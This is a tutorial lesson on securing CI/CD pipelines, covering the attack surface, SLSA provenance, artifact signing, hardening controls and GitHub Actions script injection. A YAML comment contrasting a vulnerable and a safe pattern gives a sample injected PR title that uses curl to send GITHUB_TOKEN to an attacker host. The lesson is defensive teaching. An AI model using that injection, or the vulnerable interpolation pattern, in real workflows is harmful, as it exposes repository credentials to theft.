CI/CD Lesson 25 – Secure CI/CD Pipeline | Dataplexa
Section III · Lesson 25

Secure CI/CD Pipelines

In this lesson

Pipeline Attack Surface Supply Chain Security Runner Hardening Injection Attacks Pipeline Security Checklist

Pipeline security is the practice of treating the CI/CD system itself as an attack surface — identifying the ways an adversary could compromise the pipeline to steal credentials, tamper with build outputs, inject malicious code into artifacts, or gain access to production environments. A pipeline that builds and deploys software has privileged access to source code, secrets, cloud infrastructure, and production systems. Compromising it is more valuable to an attacker than compromising a single application, because a pipeline breach can propagate silently across every service it touches.

The Pipeline Attack Surface

A CI/CD pipeline has a larger attack surface than most teams realise. It is not just the workflow YAML — it is every component the pipeline depends on and every system it has access to. Understanding the attack surface is the prerequisite for hardening it.

Pipeline Attack Surface — Entry Points and Threats

📦
Third-party actions and dependencies
A compromised GitHub Action or npm package runs with the same permissions as the pipeline. As covered in Lesson 22, floating action tags allow silent code changes. As covered in Lesson 13, transitive dependencies carry the same risk. Both are supply chain vectors.
💉
Script injection via untrusted input
Pipeline steps that interpolate untrusted values — PR titles, branch names, issue bodies — directly into run: commands are vulnerable to injection attacks. An attacker can craft a PR title containing shell commands that execute on the runner.
🔑
Overprivileged pipeline tokens
The default GitHub Actions GITHUB_TOKEN has write access to the repository and can trigger other workflows. A compromised step that exfiltrates this token can push code, create releases, or trigger deployments. Minimal token permissions are non-negotiable.
🏃
Runner compromise
A self-hosted runner that is shared across repositories or retains state between jobs can be used to exfiltrate secrets from one pipeline run and use them in another. Hosted runners are ephemeral — each job gets a fresh VM. Self-hosted runners require careful isolation.
🏗️
Artifact tampering
A build process that can be influenced by external input — a dependency update, a compromised action, a malicious PR — can produce an artifact that looks correct but contains injected malicious code. The artifact reaches production with the full authority of the deployment pipeline.

The Postal Service Analogy

A letter that passes through a compromised postal sorting facility can have its contents replaced before it reaches the recipient — and the recipient has no way of knowing unless they verify the seal. A build artifact that passes through a compromised pipeline step has the same property: it looks like the expected output but may contain injected code. The answer in both cases is the same — verify the integrity of what you received, not just the identity of who sent it. In software, this means signing artifacts and verifying signatures at deployment time.

Supply Chain Security — SLSA and Artifact Signing

SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a security framework that defines a set of levels describing how trustworthy a build process is. At SLSA Level 1, builds are scripted. At Level 2, builds are hosted and produce provenance — a signed record of what was built, from what source, by what process. At Level 3, the build environment itself is hardened against tampering. Most organisations begin targeting SLSA Level 2 by enabling GitHub's artifact attestation features.

Artifact signing is the practice of cryptographically signing a build artifact so that downstream consumers — deployment pipelines, container orchestrators — can verify that the artifact was produced by the expected pipeline from the expected source, and has not been tampered with since. Sigstore's cosign tool is the most widely adopted open-source signing solution for container images, integrated natively into GitHub Actions and supported by Kubernetes admission controllers that can enforce signature verification before any image runs in a cluster.

Script Injection — The Most Common Pipeline Vulnerability

Script injection occurs when untrusted, user-controlled data is interpolated directly into a shell command that runs on the CI runner. In GitHub Actions, the most common vector is using ${{ github.event.pull_request.title }} or similar context values directly inside a run: block. An attacker submits a PR with a title containing shell metacharacters or commands, and those commands execute on the runner with access to all secrets available to that job.

Script Injection — Vulnerable vs Safe Pattern

# VULNERABLE — direct interpolation of untrusted input into shell
- name: Print PR title
  run: |
    echo "PR title: ${{ github.event.pull_request.title }}"
    # An attacker submits a PR titled: "; curl attacker.com/steal?token=$GITHUB_TOKEN"
    # That command executes on the runner, exfiltrating the token

# SAFE — pass untrusted input as an environment variable
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}   # Interpolated into env, not shell
  run: |
    echo "PR title: $PR_TITLE"
    # The shell reads $PR_TITLE as a value — special characters are not interpreted as commands

# ALSO SAFE — use an action instead of inline shell for untrusted data
- name: Validate PR title
  uses: actions/github-script@v7
  with:
    script: |
      const title = context.payload.pull_request.title;   // JavaScript string, not shell
      console.log(`PR title: ${title}`);

What just happened?

The vulnerable pattern interpolates the PR title directly into the shell command string at workflow evaluation time — before the shell runs — allowing injected shell syntax to execute. The safe pattern assigns the untrusted value to an environment variable first. The shell then reads the variable as a quoted string, interpreting it as data rather than code. This single pattern change eliminates the entire class of injection attacks for that step.

Pipeline Security Hardening — Practical Controls

Securing a pipeline is not a single action — it is a layered set of controls applied across the workflow definition, the runner configuration, the artifact store, and the deployment path. The most impactful controls, in order of effort-to-benefit ratio, are the following.

Pipeline Security Controls — Priority Order

1
Declare minimal permissions at workflow and job level
Set permissions: contents: read at the workflow level. Grant write or additional permissions only to the specific jobs that require them. The default token has more access than most pipelines need.
2
Pin all third-party actions to a commit SHA
As covered in Lesson 22, floating tags allow action authors to change what runs in your pipeline silently. SHA pinning eliminates this vector. Use Dependabot to keep pinned actions updated automatically.
3
Never interpolate untrusted context values into shell commands
Always assign user-controlled values — PR titles, branch names, commit messages — to environment variables before using them in run: blocks. Run actionlint to catch this pattern automatically.
4
Require pull request approval before running CI on fork PRs
By default, GitHub requires approval before running workflows triggered by first-time contributors. Keep this setting enabled. A fork PR from an unknown contributor that runs with access to repository secrets is a credential exfiltration risk.
5
Use ephemeral runners for sensitive workloads
GitHub-hosted runners are destroyed after each job — no state persists between runs. If self-hosted runners are required, configure them to be ephemeral: each job gets a fresh runner instance, preventing state from one run contaminating another.
6
Sign artifacts and verify signatures at deployment
Use cosign or GitHub's artifact attestation to cryptographically sign build outputs. Configure Kubernetes admission controllers or deployment scripts to reject unsigned or unverified artifacts before they can run in production.

Warning: Fork Pull Requests Can Trigger Pipelines With Access to Secrets

A public repository that automatically runs CI on all pull requests — including those from forks — without requiring maintainer approval first is a credential exfiltration risk. A malicious contributor submits a PR that modifies the workflow file to print all available environment variables or exfiltrate the GITHUB_TOKEN. GitHub's default setting requires approval for first-time contributors, but this can be inadvertently changed. Verify that your repository requires pull request approval before workflows run on fork PRs, especially for repositories with access to deployment secrets or cloud credentials.

Key Takeaways from This Lesson

The pipeline is a high-value attack target — it has access to source code, secrets, and production infrastructure. A pipeline breach can propagate silently across every service it builds and deploys, making it more valuable to an attacker than a single application compromise.
Script injection is the most common pipeline vulnerability — never interpolate user-controlled context values directly into shell commands. Always assign them to environment variables first, where they are treated as data rather than executable code.
Minimal permissions at workflow and job level is the single highest-impact control — restricting the GITHUB_TOKEN to contents: read by default means a compromised step cannot write to the repository, trigger deployments, or create releases.
Artifact signing closes the tampering gap — a signed artifact with a verified provenance record proves it was built by the expected pipeline from the expected source. Unsigned artifacts cannot make this guarantee regardless of how secure the build process is.
Ephemeral runners prevent state leakage between jobs — a runner that persists between runs can have credentials, cached files, or environment state from one pipeline run accessible to a subsequent run from a different branch or contributor.

Teacher's Note

Run actionlint on your existing workflows today — its injection detection catches the direct interpolation pattern automatically, and most codebases have at least one instance of it that nobody noticed.

Practice Questions

Answer in your own words — then check against the expected answer.

1. What is the name of the pipeline vulnerability that occurs when untrusted user-controlled data — such as a PR title or branch name — is interpolated directly into a shell command in a run: block, allowing an attacker to execute arbitrary commands on the CI runner?



2. What is the acronym for the supply chain security framework — pronounced "salsa" — that defines levels of trustworthiness for a build process, with Level 2 requiring hosted builds that produce a signed provenance record of what was built, from what source, and by what process?



3. A pipeline step needs to use the value of github.event.pull_request.title in a shell command. What is the safe pattern for doing this — the one that prevents the value from being interpreted as shell code if it contains special characters?



Lesson Quiz

1. A security review flags a self-hosted runner that is shared across all repositories and reused between pipeline jobs without being re-imaged. What specific security risk does this configuration introduce?


2. A security engineer asks which single pipeline configuration change would have the highest impact on limiting the blast radius of a compromised pipeline step. What is the answer?


3. A Kubernetes cluster is configured to pull and run any image from the company's private registry without verification. A supply chain attack compromises the build pipeline and pushes a malicious image with the expected tag. What security control, applied at the deployment stage, would have prevented the malicious image from running?


Up Next · Lesson 26

Access Control & Permissions

Securing the pipeline itself is one layer. Controlling who can trigger it, modify it, and approve its deployments is another. Lesson 26 covers the full access control model for CI/CD systems.